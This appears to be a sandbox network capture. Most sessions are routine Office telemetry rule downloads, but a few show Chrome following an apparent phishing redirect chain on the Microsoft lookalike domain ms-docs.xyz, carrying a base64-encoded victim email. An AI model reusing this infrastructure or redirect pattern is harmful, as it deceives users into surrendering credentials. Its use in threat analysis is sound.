2024-12-03 14:32:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: b5d3fb3c-c01e-000b-6fb4-42e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143222Z-174f7845968px8v7hC1EWR08ng000000166g00000000nh4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.9	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:22 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:22 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 31ffcae5-e01e-003c-0df2-44c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143222Z-174f7845968j6t2phC1EWRcfe800000016800000000094rh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:22 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.9	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:22 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c0407c6d-d01e-0082-369d-43e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143222Z-174f784596886s2bhC1EWR743w000000163000000000ccbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.9	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:22 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143222Z-174f78459688l8rvhC1EWRtzr00000000kk000000000hmg1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.9	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:22 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:22 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143222Z-174f7845968jrjrxhC1EWRmmrs00000016900000000041ur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:23 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	49757	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:22 UTC	727	OUT	GET /?email=Z2FyeXRocm93QG5hdGlvbmFsdHViZXN1cHBseS5jb20= HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ofdls.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 14:32:23 UTC	561	IN	HTTP/1.1 302 Found Date: Tue, 03 Dec 2024 14:32:22 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=64164147a0126881c9cba57751d03b4f; path=/ Location: https://www.ms-docs.xyz/index.php?csrftoken=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	49758	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:23 UTC	860	OUT	GET /index.php?csrftoken=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw== HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ofdls.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=64164147a0126881c9cba57751d03b4f
2024-12-03 14:32:24 UTC	483	IN	HTTP/1.1 302 Found Date: Tue, 03 Dec 2024 14:32:23 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: check.php?tap=GFI0KhbrZPzQmxHwqXlNWHRiuSFjfWxfzpkYoBtrrYdNL38ntzCpN9OGBpr3SJFcT9hWpLQJaK8WjF6Yn1AEGDWnnpFlDpZF6vqlpbOhpFAX2IBz157dbFf5oW2KXv1T X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.9	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:24 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:24 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143224Z-174f7845968j6t2phC1EWRcfe800000016ag000000000845 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:25 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.9	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:24 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 13e6cbbb-001e-005a-04a3-43c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143225Z-174f7845968psccphC1EWRuz9s000000169g00000000dpgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.9	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:24 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: bff90166-801e-0083-05f9-44f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143225Z-174f7845968pf68xhC1EWRr4h8000000169000000000dkqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.9	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:24 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:25 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 241a7da4-a01e-00ab-50cc-439106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143225Z-174f7845968zgtf6hC1EWRqd8s0000000yy000000000k1ny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:25 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.9	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:24 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 7ba9d3e7-d01e-007a-10f8-44f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143225Z-174f7845968kdththC1EWRzvxn0000000kag00000000k1mk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	49765	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:26 UTC	870	OUT	GET /check.php?tap=GFI0KhbrZPzQmxHwqXlNWHRiuSFjfWxfzpkYoBtrrYdNL38ntzCpN9OGBpr3SJFcT9hWpLQJaK8WjF6Yn1AEGDWnnpFlDpZF6vqlpbOhpFAX2IBz157dbFf5oW2KXv1T HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ofdls.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=64164147a0126881c9cba57751d03b4f
